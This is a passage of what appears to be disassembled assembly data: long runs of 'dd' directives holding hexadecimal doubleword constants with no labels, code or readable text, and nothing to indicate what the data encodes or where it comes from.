		dd 25110960h, 16D72C00h, 0F8C826FDh, 0BFD8CCC1h, 7CF06768h
		dd 1E00F791h, 8B3B34F5h, 6D0FE076h, 0B5FCB4ACh,	6A750AFCh
		dd 0A80B8AAh, 4EC245F3h, 2176605Bh, 0A5FDCE87h,	0BFE7740Fh
		dd 0D87363FCh, 0CF84DBCDh, 7D692980h, 356629DCh, 0A1C50170h
		dd 18E2FB04h, 0BDB8888Eh, 2B00A173h, 3D3F2A22h,	5DF36ADh
		dd 0AE7B8F95h, 6BA0018Dh, 20E133F7h, 0BB0181D4h, 9B91F113h
		dd 208080AAh, 5FCD322Fh, 0B574C173h, 86486275h,	6E411910h
		dd 0FC308068h, 0DDE0C5A5h, 0C810102Ah, 0C3013323h, 0D2FB02A1h
		dd 0B600F04Eh, 5541A1BBh, 5B1DEDB8h, 2D08C663h,	766A8073h
		dd 1C719F95h, 0D4C4DF24h, 0FF303E01h, 0C081F87Fh, 5F29E7C7h
		dd 7080836Dh, 6A533FCh,	0E35A0728h, 10F1896h, 0A0FB561Fh
		dd 50264478h, 0B4AB0AF8h, 81C86BFAh, 5462C24h, 0FC42E4B7h
		dd 0ACB36E03h, 17D6645Ah, 1193F220h, 33099068h,	427F150h
		dd 3E1DB08Ch, 0D70073B0h, 4EEF4F0Dh, 195A670h, 0BBFCD6ABh
		dd 82E2518Ah, 720EDE31h, 0FD84CB6h, 2E3629C9h, 9DC18871h
		dd 40295FE4h, 0D35BA110h, 0AA3C8668h, 1BA586CEh, 90F0CADFh
		dd 7B03205Ch, 6BC5C702h, 9179D32Ah, 0C01830CCh,	0FAFFA109h
		dd 9A241CBAh, 90140060h, 73D3D83Ah, 70008236h, 59C4E7CAh
		dd 0BDE229Ah, 6375C1F4h, 0FEB30010h, 0C40241DEh, 8C95A967h
		dd 29F987h, 0A3A6D398h,	0DB1C1183h, 2CDC6C1Eh, 0DDACAC5Fh
		dd 20246424h, 7C109712h, 564000D4h, 86F7322Bh, 3F7971E8h
		dd 7A286BEFh, 277DC4h, 7163ED6Ch, 926444B7h, 0E43C5250h
		dd 87E71F89h, 493E8563h, 0EF177058h, 488D1893h,	0FC147103h
		dd 64A4C2BFh, 4D9C320h,	23C134C4h, 0F311F967h, 34F72001h
		dd 0E80B16F6h, 0BD00F85Ch, 84AF25D7h, 14403FFh,	2F6E467Ah
		dd 50785B04h, 9815790h,	653BD700h, 0A5EFC92h, 8A1E0032h
		dd 2B8B8FA1h, 0FD0D78DDh, 98D16F23h, 0F493B443h, 0C1303122h
		dd 43FBE0A1h, 0B9B480C2h, 2C8443A1h, 60D86D75h,	76059FFFh
		dd 936F790Ah, 8D86881Ah, 30387595h, 0C3B16759h,	9C24925Fh
		dd 6F988C70h, 75B019h, 156B2C57h, 9BE7DD88h, 4891A631h
		dd 0C247974h, 0DF0120F7h, 9CF04F2Ah, 0C1500300h, 31F9141Fh
		dd 770803A7h, 0FEEEF95h, 0E14116A0h, 8703FC12h,	4C3A7053h
		dd 0EB01F623h, 0C88675F1h, 40570830h, 4917F27Eh, 8C3EA5DEh
		dd 4500FA23h, 0F383AF8Ah, 0A80707A0h, 0D66209F5h, 7C056081h
		dd 1029ED41h, 23F4A041h, 421ADAAh, 0C5F58801h, 0F7232873h
		dd 0CD683901h, 7C183AEFh, 3E31A988h, 0DD028F68h, 0E6B4072Eh
		dd 824F8460h, 18C268A9h, 0C03405FDh, 8B95F167h,	0F61F00E0h
		dd 0BF2CB534h, 697A605Ah, 560C0875h, 0C5628200h, 7235F103h
		dd 0CFF50040h, 0C1271F02h, 0EC5038E7h, 3494DF6Ch, 161C644h
		dd 11083035h, 23C020B9h, 0CD334FAh, 0A85B53ADh,	0CF032581h
		dd 0A5A13E30h, 426FA22Ah, 0A45CA43Ch, 8988808Eh, 920FE3C0h
		dd 0D1B20AF6h, 81986B75h, 0D02ECFDEh, 212865E4h, 6014E924h
		dd 8C511B04h, 683088E8h, 272D82ABh, 8F01FFBCh, 40C68E6Bh
		dd 1AF30578h, 28A3DD89h, 80B858B7h, 51D95C9Fh, 1278B5Fh
		dd 0D819A8AFh, 660FB9F2h, 8E7EE11Ch, 0EC729FC8h, 0BAF90EFDh
		dd 0C540301Fh, 0A15C996Ch, 0EA80A90Ah, 3E848841h, 0FC88FBB4h
		dd 0A635065Bh
		dd 0F0F287F6h, 0D3FBF3Eh, 10DF2C07h, 7420B06Fh,	80F480A0h
		dd 7B7462E5h, 4CFF82Ch,	0FB11744Ah, 0D1683D80h,	875AEFh
		dd 0DA6835ADh, 2E081514h, 9BF50C0Fh, 458861EDh,	881E696Ah
		dd 0AB005590h, 0EE8C968Bh, 4FB50AF2h, 44C4A928h, 34FF60C4h
		dd 16723C2h, 2100F311h,	3A3334F8h, 0C60F7255h, 0E1985E44h
		dd 732B6267h, 28D20820h, 46C84E4Ch, 29CF02BCh, 59E62E3Ch
		dd 0C7EA6168h, 0A2CDEC29h, 0D5971B13h, 16C26C00h, 0B16075D2h
		dd 80F590A4h, 0D37F69CCh, 8944A75h, 0C4C03408h,	46FB03A1h
		dd 8A22DAh, 16A1BCB7h, 0E6CC0BC6h, 2C62F224h, 8E20143Bh
		dd 446D26E3h, 3B60F964h, 0EF23CF68h, 107F114Ah,	0CE0333ABh
		dd 3D676AFFh, 741F4291h, 294CFC40h, 8CFBE844h, 281C7A00h
		dd 4C05A930h, 51693B15h, 0F2C278Bh, 0C6AC540Eh,	0E3E03DE8h
		dd 44E4D205h, 0D0C1549Ch, 0CF00795Eh, 0A4F6CD49h, 2E5BB800h
		dd 30B6C8F5h, 0C0A201B4h, 0EFD00336h, 2059EEFAh, 16188579h
		dd 9DCD6B01h, 93658D94h, 0E257862h, 0B811C497h,	0F1638187h
		dd 28FA57E9h, 203AD260h, 0D62FF223h, 0A7F705C4h, 0C498010Bh
		dd 2CDBA58Eh, 8C8CB824h, 747B8000h, 0E7FBB1A2h,	0FD0B020Ch
		dd 5A15C456h, 743C745Ah, 9FB900D6h, 0C6B2E42Bh,	0FF2E096Eh
		dd 0D804FB53h, 3A7085C5h, 88235Ch, 623E4F85h, 0EB12FB05h
		dd 7480D91Bh, 816CDB32h, 21A43DD2h, 0E29B04B9h,	4498329Ch
		dd 352F1DACh, 61FA12D1h, 20683C74h, 0E09C5208h,	34AC58h
		dd 5E720468h, 54B99E5Bh, 62918B0Ah, 0DF48E4C7h,	26297000h
		dd 5E6A8Fh, 0F6ACFD4Eh,	4187C0C7h, 3A2E2413h, 7BEF98C0h
		dd 3C489EFAh, 4FF17D30h, 3C00DA71h, 209E3BB6h, 16A912C7h
		dd 9B49690Bh, 898C8004h, 139D2AF4h, 2B26532h, 0E9819824h
		dd 9098C52h, 0C16E835Ah, 24603EFCh, 112724F7h, 0B691001Ch
		dd 0DF0DF9B4h, 46767C9Eh, 1F2D737Ah, 11401FE5h,	80098FF2h
		dd 4150E673h, 27F425F9h, 60B8A084h, 7A3829CBh, 0C0448C2Eh
		dd 29C300E6h, 0EA2B479Dh, 0FC00ED01h, 6D2FDF1Dh, 29B4B7A2h
		dd 0D97499F7h, 611880h,	84839D9h, 28B48288h, 31445F04h
		dd 0ACCBD14Bh, 0FDC37CC8h, 0E664C897h, 30F3CD6h, 164449DAh
		dd 80C41C47h, 8EF37A60h, 0AC74D201h, 0EC2F2E9Eh, 39651434h
		dd 644D6A73h, 3BD46B4Fh, 0EA811213h, 3A673020h,	0CC89403Bh
		dd 7BC458A5h, 97F7D60h,	0F44881E8h, 5BED831Ch, 30A3B569h
		dd 80189722h, 9D29E3E8h, 688A0659h, 21B68DE4h, 0EC4FC211h
		dd 0B4F90500h, 0B0AA1B5Ah, 0D06A2F07h, 93B01397h, 0B99EF1D1h
		dd 18BFD1B8h, 1FD60099h, 0FF924EA5h, 4B4C7A9h, 459C2540h
		dd 24FD4F9Eh, 0B2CCB2F0h, 1784308Ah, 22B2AE05h,	1F842E50h
		dd 14DD4CE0h, 0E0F4C62Ch, 0CE03BB23h, 0B42E3B29h, 0E920BE62h
		dd 769229C6h, 2A3C7D28h, 0A580FD67h, 60BFE4B4h,	0E85C2720h
		dd 3B9FEEC7h, 358E3E84h, 0D460CCE8h, 0FD063BA1h, 0B94C2371h
		dd 303D4FE8h, 729C20C2h, 1C7C5638h, 0FE67F716h,	0C4E72C00h
		dd 0F4D90C37h, 0AF7E448Dh, 62853Dh, 80650A0Bh, 5AB22949h
		dd 0F2203473h, 30F8F2F4h, 0B6002804h, 9DA719ABh, 0CFE7EB81h
		dd 0E0B4ED21h, 0D5258083h, 78BC07E1h, 0F67C5084h, 6838058Ch
		dd 8E32EFCCh, 30A80738h, 0EF802468h, 5A8D98h, 353755B3h
		dd 1BFCE56Eh, 0C8C1CEF8h, 83B76261h, 75719C41h,	6CE09DDFh
		dd 0B0F55099h, 28E182D3h, 644E1224h, 5B5500C8h,	89FF5F8Bh
		dd 9B12EFA3h, 24008CFAh, 23FC7102h, 0C498A7C2h,	33E067F5h
		dd 3F722112h, 0E426B49Eh, 82467E5Ch, 0BA76B607h, 30F8E066h
		dd 0E80049AFh, 0BF7F6ADh, 26FF3258h, 0B642B70h,	0BC666575h
		dd 0A1512D04h, 0EF426C2Ah, 74DAFE63h, 0FC502775h, 0BF4865D4h
		dd 1B92378h, 2E3929CCh,	942C63CEh, 5A290042h, 0AD18BC69h
		dd 0CA340039h, 42502674h, 0B50AE0AAh, 0AC227B97h, 0A02F2783h
		dd 1CA85409h, 0EC6C44D7h, 69029C99h, 7AE362h, 0C01D55F2h
		dd 0F89ABF2Ah, 0EB1A9443h, 0F89D8877h, 7980BD11h, 18337D4Ah
		dd 905AEC29h, 0D595EA00h, 1A6B02B6h, 70926732h,	0C82F0782h
		dd 0A6A50840h, 90E2F500h, 83F3FAE9h, 0F8E492A8h, 77360B3Ch
		dd 104859B9h, 0E3005A0Ah, 181B2927h, 0C0E9504Fh, 952BDDE9h
		dd 700ED03h, 643A9E7Fh,	5FC546h, 2B86A6Bh, 0E2A8390Dh
		dd 0D6DCD800h, 9F6026ACh, 0DA6C0072h, 81A91FE7h, 0FAFCB43Dh
		dd 0C6E31B12h, 44B25825h, 1B308BF2h, 69C0097h, 6960573Eh
		dd 0EB1AFF9Eh, 5158D0D3h, 18F57968h, 492A3814h,	9C9D7685h
		dd 6000F45Ah, 8E851201h, 239BEA65h, 1CC079CDh, 0D3D03F1h
		dd 0B0D31BFDh, 35187878h, 3E39775Ah, 1CE60016h,	0BD9B5EB2h
		dd 530033D3h, 0FFA513CCh, 44B70Dh, 3DE9AC63h, 30B6C203h
		dd 57FD0B02h, 0C459D5EDh, 0C3FC1EB0h, 0F6D20785h, 816EE1F2h
		dd 0AE7DC092h, 41F8D00h, 0CD647387h, 0D0970269h, 0DC3536C0h
		dd 8E719859h, 0AB3E7418h, 292400EBh, 0C5F5192Ch, 94CC01E7h
		dd 0A3EC2667h, 4E8C2207h, 7E23142Fh, 0E7AA100Eh, 5ED476DCh
		dd 2471F8A2h, 2F0F108h,	9D9A6BF3h, 0DC5970EAh, 0B118BF71h
		dd 0DF11AD0Eh, 0A5DD42AEh, 8B3C6167h, 0EA219021h, 381D90A7h
		dd 1480F491h, 0C5C43C9Fh, 0B0E6A529h, 7B125824h, 0AFB81118h
		dd 62760B31h, 24E77236h, 9C61B964h, 83E06CF1h, 80BB4522h
		dd 502C1EFAh, 4EAF94A0h, 23683BBEh, 807A1FBDh, 0D3BAEDC0h
		dd 0C320239Ah, 0AA962FC9h, 0B4458092h, 0E160B9C4h, 0E871812Ch
		dd 303E9CA8h, 8173F727h, 6DCF10Ch, 2D0948F0h, 0C482E75Ah
		dd 0E044F3FEh, 39264400h, 736C50B2h, 74FE8E2h, 6FDFE7B6h
		dd 2EF20541h, 0BA2378h,	0F19F1038h, 944A7A93h, 6AB3B080h
		dd 48EAE21Ah, 0F2E80834h, 9C3B018Ch, 251BC34Dh,	0EE508226h
		dd 7B98487Bh, 0F14B710Ch, 762DE49Ch, 9DDC0A2Dh,	80F911D4h
		dd 0E02A29D5h, 5F1B0119h, 0AE9BF177h, 31F88493h, 0E4855BF7h
		dd 81C87C8Eh, 93CA29C0h, 13F37E7Eh, 1F01F7FDh, 80695D68h
		dd 0F26C5BEDh, 81698693h, 381C2870h, 127A4676h,	0C00BD41h
		dd 4297B49h, 811891FFh,	0EBF8829Ch, 0E6660223h,	0D4209C60h
		dd 99EA0300h, 73D105FCh, 0CBBA3152h, 0F0A64078h, 28A0B36Ch
		dd 640BE966h, 0C269EA81h, 44C0C7E8h, 9DBD60F2h,	8C5B17EFh
		dd 3A906416h, 7F2394h, 2014DC95h, 3E1D50A5h, 0A7072Eh
		dd 729BEF1Ch, 6705809Ah, 0D6939012h, 0A55C844Bh, 0C88EA450h
		dd 0A6C28588h, 5FFE40D7h, 9BFF833h, 0F31FF72Eh,	89CE89Ch
		dd 12AC00D4h, 0B8CD798Ch, 474BB203h, 0B6992421h, 1773FBF4h
		dd 8BFACEh, 80F50268h, 301D91Dh, 3A836839h, 6C3CBB3Ch
		dd 18CF9BCh, 0C743BE4Dh, 0C503BBF7h, 0B4433E8h,	802DCFFAh
		dd 3DBFDA70h, 2EDC5F73h, 0E8D2378h, 0C920066Fh,	0EC2DC2ABh
		dd 102C1E5Ch, 5F2CCA03h, 0B5760034h, 69CCA37Bh,	47DC9D25h
		dd 61F34420h, 0C209761h, 0D0E05070h, 626916C6h,	0D73080DFh
		dd 65DA0F1h, 0AA9C80A8h, 1ED9FDFh, 86FB3134h, 0F0B68E4Bh
		dd 7901F3C6h, 1D81354Ch, 0F423A4D4h, 0A3957509h, 0A6A5D430h
		dd 0D10C1A95h, 188A5974h, 659800AFh, 6823B93Fh,	0E49B8673h
		dd 6D49EC26h, 0E135C01Ch, 701497Dh, 25D8924Fh, 0C4415394h
		dd 2205AAABh, 0C6253DF8h, 6C7C88h, 517EE298h, 3B09C2D6h
		dd 7D462B00h, 0FBC2FF1h, 26AA06C5h, 0D17B8D5Dh,	5063E280h
		dd 0C862613Eh, 1020588Ah
		dd 2168A3Eh, 2DF060D0h,	42F97C07h, 9C7A1ED8h, 9786DD2Dh
		dd 9C8691D8h, 0A86A2F80h, 7C57528Eh, 0F1D800DDh, 0CD3330D7h
		dd 0B71935Fh, 91400C92h, 0C08B975Ch, 0FB6498E7h, 0B5A8DB60h
		dd 0B2225301h, 0BBBF20E6h, 17E4E830h, 0CCCFC0CEh, 0FF712DACh
		dd 3451EAE9h, 0E6187BD1h, 0ACCD0C4Bh, 9DCF6C40h, 2FB70A02h
		dd 0BB887A8Eh, 0DD60305Fh, 128F6CFh, 8A95D462h,	467628E0h
		dd 77A600F9h, 0EAF2EE57h, 0C22B4E96h, 2D017D8Ch, 81DE3827h
		dd 69FFB370h, 969C0915h, 0C02AC000h, 5C996E46h,	0FE18F7D1h
		dd 0C112D300h, 273072B1h, 0C074EF7Ch, 0A43A259Bh, 1797CCE4h
		dd 80F591A4h, 12CB45F3h, 6004B8F0h, 363508Fh, 30EA7AA6h
		dd 6F6B4804h, 2CACB6D8h, 8684E25h, 3A794C14h, 0B0C0FE00h
		dd 0A3EF22ACh, 43E41DE7h, 0FA738C9Fh, 709003A1h, 7E29ED11h
		dd 95F18013h, 0F39480C0h, 740F235h, 0FB05043Eh,	82B40F23h
		dd 2844C7D8h, 0DFF81903h, 0DFBDD735h, 5072C9h, 9513FBB4h
		dd 3F402708h, 502F3013h, 9865B8B0h, 8CD9C630h, 9900817Fh
		dd 1F5D1091h, 463C94h, 530C9520h, 2A07C64Fh, 689485F8h
		dd 1F28E225h, 80F411E0h, 80D2C48Bh, 62389EF5h, 300095A7h
		dd 131906CBh, 0F2B1657Dh, 30B8F2D8h, 6D783046h,	0CC6632Eh
		dd 17410A9Eh, 6E7D8ED5h, 0C82C2C3Ah, 8C428141h,	43C6C2Fh
		dd 0FAFEA1BFh, 0B714A8B2h, 47A1B7B0h, 8E15023Dh, 0FA3C06D6h
		dd 4479B489h, 0CC477BE4h, 0C8C0C05Fh, 13274269h, 40946F9Ah
		dd 75FBE5C1h, 6D7D0C00h, 704A3E23h, 780E306Bh, 67552580h
		dd 695E79C1h, 0B3A7D9Eh, 1C64F610h, 2F28D102h, 0D279F7BEh
		dd 6CD05810h, 23C82ED2h, 9E6F008Dh, 0B0370A6Dh,	13C27204h
		dd 608D5DFDh, 323E4180h, 0A53B500Ah, 0D8D874B3h, 2AE40093h
		dd 0FB413B2Dh, 0BD598703h, 0C9287BD0h, 7260F07Fh, 624D7A1h
		dd 895A26F4h, 399E6050h, 0BE4135ECh, 8EF819B1h,	5B26107Bh
		dd 0B137003Dh, 0C64DF122h, 58F644C5h, 32062304h, 60A8080Fh
		dd 0D0C84E27h, 0B7A0B9CDh, 5F00D34Ch, 0EA231C5Bh, 72D86374h
		dd 9A87CBDh, 0CE93F183h, 0BC02A4A4h, 3144C1E4h,	1862D14Dh
		dd 0C4307AF2h, 89EE604Fh, 0FE9F14C2h, 2C094000h, 0EF47F62Dh
		dd 774D03A9h, 6444B528h, 68D49801h, 21627576h, 78F39845h
		dd 1631BAA2h, 202FE7FDh, 0AB976A98h, 4DCDE800h,	0AD2DFAACh
		dd 0C68FE8Dh, 0F25051AFh, 5476D729h, 3E7D00Fh, 6A77C243h
		dd 0D074631Fh, 0FA7E9934h, 0DD3A5A9Ah, 0A8647960h, 85E8043Fh
		dd 0C977E32Ah, 8A9BCCE8h, 900A2BF7h, 219FB854h,	4E3090E8h
		dd 3F9508FBh, 0DB154BC4h, 0DC7C8088h, 125D5B5Ch, 0F24F4B10h
		dd 31C1F2E4h, 0CC01D4FAh, 6544E700h, 0FB3F7B8Bh, 1675FF3h
		dd 4A5AED34h, 282E2BD1h, 6F017E23h, 0A3747303h,	0FD88013Fh
		dd 97C11F23h, 68619858h, 405FACFh, 1907660h, 0C5E8352Fh
		dd 0A998CCh, 6B5A65E7h,	884361E1h, 5D175CBAh, 1C8B0FC0h
		dd 70C1B888h, 1879FEB4h, 32D5E700h, 0B28439Fh, 5D44F302h
		dd 0C03E9CD3h, 80897F2Ch, 3000B704h, 3DB8C3F5h,	30BCA2B4h
		dd 0FFAFF3Ch, 0D0A8838Eh, 0D1CCE6Ch, 85006BD6h,	377E9E1Ah
		dd 251EE001h, 0E0E07F68h, 4E24C2F5h, 0E08058E6h, 54C78357h
		dd 0D1610359h, 0C5D09F69h, 182EA8F0h, 48C0F75Bh, 977A4B9Dh
		dd 70FBD8BAh, 97750h, 0B583449Dh, 0AFC685A8h, 0AC0021DCh
		dd 633E2A36h, 61283A5Dh, 4293F285h, 8434A89Ah, 233EA533h
		dd 26F40FF6h, 448388C0h, 174C6230h, 0E0605610h,	0BA8C85h
		dd 0C8603245h, 6E26EF48h, 8D4E4D17h, 0C46D4C20h, 0FF760128h
		dd 86825565h, 0DBE4F0B4h, 0C024B858h, 3C0E0DCBh, 0C5A400E0h
		dd 58FD0B3Dh, 0A55E16C2h, 61A6420h, 0D6E92581h,	29E7D880h
		dd 10906A13h, 0B61C8018h, 67C76138h, 504959B1h,	0B4116D8Fh
		dd 6A1C6300h, 5F4F753Eh, 0FCA1C078h, 0DF420729h, 5422935Fh
		dd 4B50F4B4h, 870D873h,	73E800CAh, 7B850ACEh, 67094077h
		dd 18861F5Ah, 0F530B4A0h, 2544027Ah, 7C40FDDCh,	0F85D2CEDh
		dd 0BCDB4B70h, 0F7376F83h, 0FBFC3E02h, 64FFB442h, 0EA4E2410h
		dd 82A98108h, 0D8D7DF72h, 0BB016B9Dh, 0E9165ECFh, 0F4240B61h
		dd 9BEF3DD0h, 5D8CC34Eh, 0D70269A6h, 3328D9F1h,	7950D967h
		dd 1118F8h, 0F337DBA9h,	0EB9B65BCh, 80D7FF2Dh, 368163B4h
		dd 5A7E7419h, 29B48DECh, 3EE2A808h, 253BF898h, 0C297211Dh
		dd 94D331E7h, 0B7F2C4A2h, 0D6E0646Dh, 9FE0272Eh, 9F5CE482h
		dd 8411847Eh, 0D75A1105h, 132CBD7Ch, 0CCB3A6A3h, 6C30FAB2h
		dd 407B00ACh, 0F21C8A88h, 0B767C7C8h, 0FF5E0391h, 0EA8B880h
		dd 512030h, 0E62B2448h,	8117592Dh, 0CC6EC14Fh, 2EB9C001h
		dd 3A07440Fh, 0F8A1EC0Ch, 6FE14158h, 2A9AD462h,	8ED10610h
		dd 0F0991194h, 911888D1h, 18650402h, 0FC26FD9Ah, 0CB3E1220h
		dd 0C0FBC85Ch, 41B35C4h, 99361700h, 0B4A6E9E2h,	71D3FAh
		dd 0F576BD44h, 6B0CF6B3h, 0F0030FF7h, 66ED0181h, 5693EFCEh
		dd 70417A97h, 0A5E29BF2h, 7C8C108Ch, 73135249h,	0B2012F8Fh
		dd 80BCDA9Dh, 40BB6460h, 2C96D06Dh, 0D37EF670h,	3EC40489h
		dd 5A785C9Ah, 63655C81h, 0F2D1C40h, 90099F4Ch, 272F48B0h
		dd 0F9D4F855h, 0DECC506Dh, 1B12FCFAh, 8B1B89Bh,	8F30132Eh
		dd 0C07D8864h, 0F3458A9Fh, 231B9C16h, 0CD65485Ch, 12A6C180h
		dd 374AF8D6h, 0D6CAF026h, 0FE33803Dh, 0A5F1D1ECh, 0C42F1930h
		dd 79C7D80Ch, 0B8A9B868h, 0B0DA01FCh, 0A02EC83Eh, 69EC64EDh
		dd 23A57309h, 4E5878C3h, 0C85C8B3Fh, 4C93C0B9h,	4BD5FFDh
		dd 94BD5028h, 0F9F70D00h, 0DF2AC6DEh, 0EA9BF108h, 0BC65259Ch
		dd 0BF60BCE4h, 4E28570Ch, 0A8208C74h, 7E50B008h, 5F209058h
		dd 0B6A81202h, 7612E0ECh, 0C50C16A9h, 60A81426h, 0E4C4FF25h
		dd 0A7D7CF20h, 60F544C4h, 0D334AE2h, 9CF84F79h,	106E2F18h
		dd 0C0C7731Fh, 0DEA5E782h, 53126007h, 0C44B9E8Eh, 132384A1h
		dd 0A57118E4h, 0B65A5804h, 0F50074B6h, 0DDD696CDh, 118348FBh
		dd 0B372FE00h, 9C5C13BAh, 483BA300h, 0F20C188h,	2136269Ah
		dd 0E230349h, 0F998B7E8h, 0F800DFD2h, 20E907E3h, 6F7C91h
		dd 0AECDEF80h, 63ECF13Fh, 4858F74Ch, 0FDC500ADh, 0D44187EBh
		dd 22A503C4h, 7191334Bh, 39B58A3h, 0D07969B9h, 500FD0Ah
		dd 1D8D7A90h, 0F64C8Ah,	45078FA3h, 2EE037ADh, 52C93F00h
		dd 365CD0C1h, 0F15F1C68h, 6267C020h, 0B1F6EE0Dh, 900A3F00h
		dd 0E7AFCEF0h, 9B3D00CAh, 1BE6B678h, 0EE0E1482h, 0C7A815BAh
		dd 17F3AB2Ch, 65499883h, 0A29601C3h, 339A5BBEh,	0DD42E86Fh
		dd 865CB500h, 70122A41h, 0C0800050h, 0AB6AFEC7h, 56002DB2h
		dd 0EB82463Eh, 0AA1ED2h, 0B4B09585h, 309883CDh,	0C1633B00h
		dd 0A162C5A9h, 84440037h, 162E458Bh, 7A00614Eh,	0FB20789Ah
		dd 0AAF463h, 8FD659CEh,	0E5EEE8C7h, 342C4C02h, 0A0D8DA17h
		dd 16C2BAE8h, 0AF510069h, 0C9938097h, 26004563h, 10D3AA2Eh
		dd 0C0596749h, 0D4361A58h, 0DB046C87h, 0B62DA03Eh, 0A0070C93h
		dd 6D1557h, 6A3C050h, 9A585674h, 0FD14C400h, 67CD92E5h
		dd 44293C49h, 7840D700h, 9A040E1Ch, 95DDA526h, 566E0500h
		dd 1703ABDFh, 2D1459h, 0F18850AEh, 0C20736D8h, 7ECB7CCh
		dd 0C84DEF33h, 0DF9F10h, 23BC85FDh, 0EDD2C6BDh,	3B5B8003h
		dd 0D9EE0C2Fh, 6760148Ah, 270B0120h, 0A7DC0305h, 5B60FAE6h
		dd 0F40C4FAFh, 0F8828B1Bh
		dd 0A4390025h, 91B0A166h, 0B3BA8C1h, 9BFB00D8h,	2EAB7242h
		dd 60A54179h, 0EC1C2F41h, 0FB0255F7h, 5F698951h, 5FEA3E0h
		dd 8EA7BE00h, 279E5297h, 6FF0008Fh, 0C5EC03A6h,	56309BD5h
		dd 0AA73199Ah, 0F5EE07h, 689DDD16h, 42121941h, 45898201h
		dd 935CE8D9h, 50340420h, 0B7D015h, 2720ADB5h, 4104F5A0h
		dd 5020AA60h, 14426131h, 0DC72387Ah, 5A4824h, 732B51C5h
		dd 1703E855h, 0FF765E56h, 4DA3B8DFh, 0C088C03Eh, 23EF5CF6h
		dd 428C461Ch, 1733BE01h, 1824BD47h, 0AD300727h,	2B13D6h
		dd 0EA01C6DAh, 0EBD4C300h, 7F48587Eh, 0B18F0011h, 0DADE3736h
		dd 0BD005591h, 0C48AAA4Bh, 1388B2h, 0FC1C0BF9h,	0E84D1433h
		dd 0B7A2C200h, 948D5775h, 243C0047h, 5C4C6A82h,	0D8C092E7h
		dd 9C1078ABh, 0C41450EBh, 98A0BDBEh, 0AFA7C758h, 6454270Dh
		dd 90E031E2h, 0B7F8C8h,	0D1405F7Dh, 0A2687B8h, 0EF9FB926h
		dd 0BD00571Eh, 0A556AD22h, 837CB4h, 0D067B7Dh, 0AA7ABAA8h
		dd 0D8EF9101h, 68DCF9B2h, 0FB9F076Eh, 0BAD1302Ah, 0FD006753h
		dd 0AC4E1836h, 3F21237h, 0DAA4C266h, 6EE8FA3Fh,	0D600F760h
		dd 70A71D0Ch, 691069Fh,	5398897Ah, 0CE00219Bh, 0A077F6F0h
		dd 161D76Fh, 0F46958AAh, 0C8F3DCCDh, 0DB00E4B6h, 10CAA96Eh
		dd 7A2C52h, 5112E350h, 0F6A57059h, 0E8049A98h, 7407D0C8h
		dd 0EC6A36C0h, 3A571FB8h, 20BF0072h, 0F5EAB343h, 76006092h
		dd 5F776050h, 2678F248h, 0CCA8CDh, 3B8B9EA6h, 0B203D1C7h
		dd 0F4BED72Fh, 935DC852h, 0ED26069Bh, 460E2E1Dh, 5BBC6501h
		dd 1E3C53AEh, 3CE0260h,	0ACF1E908h, 0E0267844h,	7F035AC9h
		dd 90F4ECAFh, 4687140h,	660A29FAh, 543C81DFh, 0E6EDD0E7h
		dd 0D5B47900h, 53C35C1Bh, 476E2BCh, 0B11F04F9h,	9F4490CEh
		dd 920AF3E6h, 94517B74h, 90406812h, 21390928h, 7AC500B2h
		dd 0C881E561h, 31008EFDh, 0C052ACC9h, 7C7436h, 8F389937h
		dd 0BAAB7570h, 11C07BE6h, 69498462h, 4E1500BDh,	0F89A6B64h
		dd 820F4C1Ch, 4420168Ah, 0C1C3062Dh, 7565C8A2h,	80A460B0h
		dd 4FFBC1E0h, 39CCB59h,	0DB2BE358h, 0F203C8EAh,	93F012E6h
		dd 6B9FE075h, 9E6E8000h, 0AE42877Fh, 5F98A058h,	8EFB0E96h
		dd 78633768h, 0A986152h, 4E506B14h, 0E27698C8h,	551D3C0Ch
		dd 2C23495Dh, 81149153h, 8EEDE17Bh, 7886070h, 1E63FE00h
		dd 0FF357D2Fh, 0B5BE00DEh, 0AEA6BF8Fh, 39395126h, 5E299385h
		dd 24148100h, 490D7Fh, 2CF3129Bh, 3DF0E71Ch, 0F8666B00h
		dd 0F2675E27h, 0F4DD39CBh, 3EF9007Eh, 0BADBEDBh, 0E200799Eh
		dd 64811A28h, 443ABCh, 0BEDC8A40h, 0DEA6C667h, 8EB2BD12h
		dd 78BCD000h, 786C3453h, 300B846h, 834B6A3Ah, 1000C92Fh
		dd 0CEBF8151h, 93B589h,	9F11615Dh, 0AA2C835h, 505FCD00h
		dd 0A94E7772h, 0A6920089h, 6BE8E7EDh, 0BF0087F4h, 0EA68DEF2h
		dd 0FBBE8Eh, 0D9E0E45h,	1788AEC4h, 130739E6h, 0FECE3B9Dh
		dd 0B1D74C30h, 5A8200FFh, 4B6B0D25h, 0C90F632Dh, 6049BB53h
		dd 1FE24428h, 1C217B9h,	91C3000Bh, 798A81F6h, 10C885Ch
		dd 0D9A916BFh, 0C2EEB0B8h, 3052B2h, 9389A02Dh, 234361E3h
		dd 0D4F33A00h, 6886ACB4h, 1B1A0248h, 0AF95DCFDh, 43EA6EE0h
		dd 5B052507h, 0C9B0B6D4h, 12D4D6Bh, 0E0E30140h,	6FF678CEh
		dd 95A91800h, 9CAABEEFh, 4EF48034h, 8A762BE2h, 5E263A12h
		dd 1DEF18E4h, 1FC7C91Ah, 0C3814C4h, 0A9CCE900h,	1029AF8h
		dd 82FB3Ah, 0F5BAF664h,	1D4E32A8h, 0C06925E5h, 0E77A1508h
		dd 0C00039ADh, 519BEAC8h, 1069CBDh, 0D63A85DAh,	0E45FC568h
		dd 0AD004103h, 0FAF1C650h, 732AF4C8h, 2520EDE2h, 0F1797CE8h
		dd 18A5F2F1h, 95D9A468h, 6961C100h, 0C9126576h,	0A2E900D0h
		dd 33135AA9h, 530171A1h, 3E42F92Bh, 69EC0FC6h, 29B00357h
		dd 797A06BDh, 52A4A3C0h, 1B3B4800h, 0BEA96EBh, 64B500B8h
		dd 105AAE55h, 0F00A2EFh, 1D79951Ah, 89BE01h, 82C99FA5h
		dd 0BB76FBF1h, 68D4720Fh, 0ACDCA0A7h, 2FF49CAh,	53DDC13Ch
		dd 92C0EC5Fh, 0D40EC894h, 0E0EFA530h, 3773F672h, 84AD00EDh
		dd 0DD9DDA56h, 9F00FF8Eh, 0CD10E9A1h, 80A6D0h, 4CFDD1E6h
		dd 0D4CEE7F6h, 0C1E29E00h, 87C7D308h, 0B3C91D29h, 9118001Dh
		dd 0C2D7172Dh, 96086A00h, 0CD85C8DCh, 0A53E00CAh, 26EFA729h
		dd 0F12581F2h, 91E4979Fh, 0E2680BDh, 4ABB8EDCh,	90AC81D4h
